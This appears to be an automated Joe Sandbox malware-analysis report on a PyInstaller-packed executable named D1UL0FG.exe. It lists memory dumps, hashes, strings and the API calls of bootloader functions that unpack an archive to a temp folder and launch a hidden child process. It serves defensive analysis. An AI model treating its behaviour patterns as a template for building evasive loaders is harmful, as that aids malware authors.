Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 2768d0397f3e57f422872a8ccb9d8ac8446359e98a221ef2cf8589b420e013ac
Instruction ID: a4eba000d5f5d8d3ebbaaf57d393bbffd4f7b7f94957fae29ee91aafac1c306c
Opcode Fuzzy Hash: 2768d0397f3e57f422872a8ccb9d8ac8446359e98a221ef2cf8589b420e013ac
Instruction Fuzzy Hash: D8E02670540348B6CB25FA11C847ADD77AA9B11304F00C019B800112918BB197C8DB81

Analysis Process: D1UL0FG.exePID: 5160, Parent PID: 1436COMMON

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	41

Executed Functions

Function 00007FF67AED8BD0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257
synchronizationwindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF67AED9400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF67AED45E4,00000000,00007FF67AED1985), ref: 00007FF67AED9439

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8C2B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8C46

Part of subcall function 00007FF67AEEA4EC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEEA500

Part of subcall function 00007FF67AEE878C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE87F3

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8CD6
CreateProcessW.KERNELBASE ref: 00007FF67AED8D0E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8D18

Part of subcall function 00007FF67AED2C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF67AED3706,?,00007FF67AED3804), ref: 00007FF67AED2C9E
Part of subcall function 00007FF67AED2C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF67AED3706,?,00007FF67AED3804), ref: 00007FF67AED2D63
Part of subcall function 00007FF67AED2C50: MessageBoxW.USER32 ref: 00007FF67AED2D99

RegisterClassW.USER32 ref: 00007FF67AED8D70
GetLastError.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8D7B
CreateWindowExW.USER32 ref: 00007FF67AED8DC5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8DD7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8DF2
GetLastError.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8E05
PeekMessageW.USER32 ref: 00007FF67AED8E29
TranslateMessage.USER32 ref: 00007FF67AED8E37
DispatchMessageW.USER32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8E41
PeekMessageW.USER32 ref: 00007FF67AED8E5C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8E6E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8E89
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8E9F
GetLastError.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8EA9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8EB7
DestroyWindow.USER32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8FF4
GetExitCodeProcess.KERNELBASE ref: 00007FF67AED9009
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED9012
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED901F

Strings

CreateProcessW, xrefs: 00007FF67AED8D27
PyInstallerOnefileHiddenWindow, xrefs: 00007FF67AED8D44
PyInstaller Onefile Hidden Window, xrefs: 00007FF67AED8D85
Failed to create child process!, xrefs: 00007FF67AED8D20

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
Instruction ID: 69b5a666fe98631bca6c1411317543d8f2af48f00ae4850d0e564a3bbcc7d722
Opcode Fuzzy Hash: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
Instruction Fuzzy Hash: 14D19133A28A8286EB50AF74E8542AD3764FF84B58F504279DE5D83AB4DF3CD544DB00

Function 00007FF67AED1000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

VCRUNTIME140.dll, xrefs: 00007FF67AED3DB1
MEI, xrefs: 00007FF67AED3933
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF67AED3A17, 00007FF67AED3A2F, 00007FF67AED3A9B
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF67AED3D12
Could not create temporary directory!, xrefs: 00007FF67AED3CBF
_PYI_ARCHIVE_FILE, xrefs: 00007FF67AED38D2, 00007FF67AED39FF
pyi-contents-directory, xrefs: 00007FF67AED3B8D
pyi-python-flag, xrefs: 00007FF67AED3AD6
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF67AED3971
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF67AED3E0A
Failed to start splash screen!, xrefs: 00007FF67AED3ED4
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF67AED3882, 00007FF67AED38AF
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF67AED3EBB
Failed to remove temporary directory: %s, xrefs: 00007FF67AED3FC3
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF67AED3BE8
pyi-disable-windowed-traceback, xrefs: 00007FF67AED3BB2
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF67AED3EA6
pkg, xrefs: 00007FF67AED39BE
Py_GIL_DISABLED, xrefs: 00007FF67AED3AF4
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF67AED3B32
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF67AED3A0B, 00007FF67AED3CD4, 00007FF67AED3F6B
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF67AED3C61
Failed to load splash screen resources!, xrefs: 00007FF67AED3E85
Failed to convert DLL search path!, xrefs: 00007FF67AED3DDC
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF67AED3D35
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF67AED39DE
_PYI_SPLASH_IPC, xrefs: 00007FF67AED3A23, 00007FF67AED3EF5
bye-runtime-tmpdir, xrefs: 00007FF67AED3B68

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
API String ID: 2776309574-3273434969
Opcode ID: 230e5f2fbe18b706386c2e6c5de042c78cdf1bdf29ac743ce162c0a9040f007d
Instruction ID: cafc582e4898b173757be918cddb94462a8f1988d49ae1e67d160993d5bff82a
Opcode Fuzzy Hash: 230e5f2fbe18b706386c2e6c5de042c78cdf1bdf29ac743ce162c0a9040f007d
Instruction Fuzzy Hash: 0A329F23A2C68391FA69BB24D4543B96761AFC4784FA440B6DA4DC32F6EF2CE554E700

Function 00007FF67AEF69D4 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF67AEF6708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEF6749
Part of subcall function 00007FF67AEF6708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEF67C7
Part of subcall function 00007FF67AEF6708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEF6818

CreateFileW.KERNELBASE ref: 00007FF67AEF6ADA
CreateFileW.KERNEL32 ref: 00007FF67AEF6B2A
GetLastError.KERNEL32 ref: 00007FF67AEF6B5A
GetFileType.KERNELBASE ref: 00007FF67AEF6B6F
GetLastError.KERNEL32 ref: 00007FF67AEF6B79
CloseHandle.KERNEL32 ref: 00007FF67AEF6BAC
CloseHandle.KERNEL32 ref: 00007FF67AEF6D0F
CreateFileW.KERNEL32 ref: 00007FF67AEF6D44
GetLastError.KERNEL32 ref: 00007FF67AEF6D53

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction ID: 9775d139d67edc4f97f44dc2b06c4b49005f967b52a26ff5bcff6be1e530c7ca
Opcode Fuzzy Hash: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction Fuzzy Hash: 89C1D037B38A8286EB50EFA4D4902AC3761FB49B98B015279DE6E973E4CF38D411D700

Function 00007FF67AED83B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00007FF67AED8B09,00007FF67AED3FA5), ref: 00007FF67AED841B
RemoveDirectoryW.KERNEL32(?,00007FF67AED8B09,00007FF67AED3FA5), ref: 00007FF67AED849E
DeleteFileW.KERNELBASE(?,00007FF67AED8B09,00007FF67AED3FA5), ref: 00007FF67AED84BD
FindNextFileW.KERNELBASE(?,00007FF67AED8B09,00007FF67AED3FA5), ref: 00007FF67AED84CB
FindClose.KERNEL32(?,00007FF67AED8B09,00007FF67AED3FA5), ref: 00007FF67AED84DC
RemoveDirectoryW.KERNELBASE(?,00007FF67AED8B09,00007FF67AED3FA5), ref: 00007FF67AED84E5

Strings

%s\*, xrefs: 00007FF67AED83E2

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
Instruction ID: d3a2438e11d2ca88eb340adb5ca6ecbc3b6e3c88ee57efbd3099f17788b74922
Opcode Fuzzy Hash: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
Instruction Fuzzy Hash: 9241B233A2CA4285EE60BB20E4541B96760FBD4B95FA002B6D59DC36E4DF3CE54ADB00

Function 00007FF67AED92F0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF67AED9323
FindClose.KERNELBASE ref: 00007FF67AED9332

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction ID: d28ffa42b0d84b46a6519afa3a2c2f60d18f75212e6962a0310a220fa363a27b
Opcode Fuzzy Hash: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction Fuzzy Hash: 4EF06863A3874186FBA09F60B8497667350EBC8764F140775EAAD42BE4DF3CD049DA00

Function 00007FF67AEF0938 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 10bf4b1f0472125ada9b1d6b923a92a2d49e498fcbab652d34985a7b27debbff
Instruction ID: 8d9acf8f07449fd11f2eae8f49686f131d102f6b57a441ca05788a938152af3f
Opcode Fuzzy Hash: 10bf4b1f0472125ada9b1d6b923a92a2d49e498fcbab652d34985a7b27debbff
Instruction Fuzzy Hash: 30029223B3E64681FA95BB15B8012792790EF45BA0F8585B9DD5DC73F1FE3DA801A700

Function 00007FF67AED1950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF67AED7F80: _fread_nolock.LIBCMT ref: 00007FF67AED802A

_fread_nolock.LIBCMT ref: 00007FF67AED1A1B

Part of subcall function 00007FF67AED2910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF67AED1B6A), ref: 00007FF67AED295E

Strings

malloc, xrefs: 00007FF67AED1B22
calloc, xrefs: 00007FF67AED1A68
fseek, xrefs: 00007FF67AED19F5
Could not read full TOC!, xrefs: 00007FF67AED1B55
Could not allocate buffer for TOC!, xrefs: 00007FF67AED1B1B
Failed to seek to cookie position!, xrefs: 00007FF67AED19EE
Error on file., xrefs: 00007FF67AED1B8D
MEI, xrefs: 00007FF67AED1991
Failed to read cookie!, xrefs: 00007FF67AED1A2B
fread, xrefs: 00007FF67AED1A32, 00007FF67AED1B5C
Could not allocate memory for archive structure!, xrefs: 00007FF67AED1A61

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 7f967e8bf4bd65ccd330245f6cf3beef5728b9bf280203bc786e936cb306ff0d
Instruction ID: b2a02993556ecdc16b705cf08276494c7cbd6882b58917f26097cdbe1aa66f93
Opcode Fuzzy Hash: 7f967e8bf4bd65ccd330245f6cf3beef5728b9bf280203bc786e936cb306ff0d
Instruction Fuzzy Hash: 50819573A2CA8685E764FB24E0402FD23A1EF84784F5444B5E98DC77A5DE3CE585EB40

Function 00007FF67AED1600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF67AED1749
fopen, xrefs: 00007FF67AED1663
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF67AED16DA
fwrite, xrefs: 00007FF67AED17D1
fseek, xrefs: 00007FF67AED16E1
Failed to create symbolic link %s!, xrefs: 00007FF67AED1622
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF67AED17CA
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF67AED1742
fread, xrefs: 00007FF67AED17E6
Failed to extract %s: failed to open target file!, xrefs: 00007FF67AED165C
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF67AED17DF
Failed to extract %s: failed to open archive file!, xrefs: 00007FF67AED16A2

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: 607fb3d22e1abd3d0ea9d943795872ea3e60594e8e3d1f768179a624c21a25df
Instruction ID: b82633df46db8a370f212e31aa0b0f4ae4a1dbc6fea42a64e576e19e8bbe3e97
Opcode Fuzzy Hash: 607fb3d22e1abd3d0ea9d943795872ea3e60594e8e3d1f768179a624c21a25df
Instruction Fuzzy Hash: 2E519D63F2864382EA10BB21A4001B963A0FF84B94F6445B5EE5C877F6EF3CE545E740

Function 00007FF67AED8850 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF67AED3CBB), ref: 00007FF67AED88F4
GetCurrentProcessId.KERNEL32(?,00000000,00007FF67AED3CBB), ref: 00007FF67AED88FA
CreateDirectoryW.KERNELBASE(?,00000000,00007FF67AED3CBB), ref: 00007FF67AED893C

Part of subcall function 00007FF67AED8A20: GetEnvironmentVariableW.KERNEL32(00007FF67AED388E), ref: 00007FF67AED8A57
Part of subcall function 00007FF67AED8A20: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF67AED8A79

Part of subcall function 00007FF67AEE82A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE82C1

Part of subcall function 00007FF67AED2810: MessageBoxW.USER32 ref: 00007FF67AED28EA

Strings

TMP, xrefs: 00007FF67AED888C, 00007FF67AED8993
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF67AED896E
LOADER: failed to set the TMP environment variable., xrefs: 00007FF67AED88CC
_MEI%d, xrefs: 00007FF67AED8902
TMP, xrefs: 00007FF67AED88B2

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: 4e349524156a31c65ddba45994ef87c37bf84ce1b0e485ec316371ea64373d4f
Instruction ID: 3f1f4f8e84d84a6d251df56c8224f56326eb2d7cfc222d389400b8b8eef994a6
Opcode Fuzzy Hash: 4e349524156a31c65ddba45994ef87c37bf84ce1b0e485ec316371ea64373d4f
Instruction Fuzzy Hash: 1141BE23A3D68244FA60BB25A8512BA2390AFC8B84F9441B1ED4DD77F6DE3CE501F700

Function 00007FF67AED1210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF67AED12C1, 00007FF67AED12F6
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF67AED141E
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF67AED12BA
1.3.1, xrefs: 00007FF67AED1249
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF67AED12EF
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF67AED1276

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
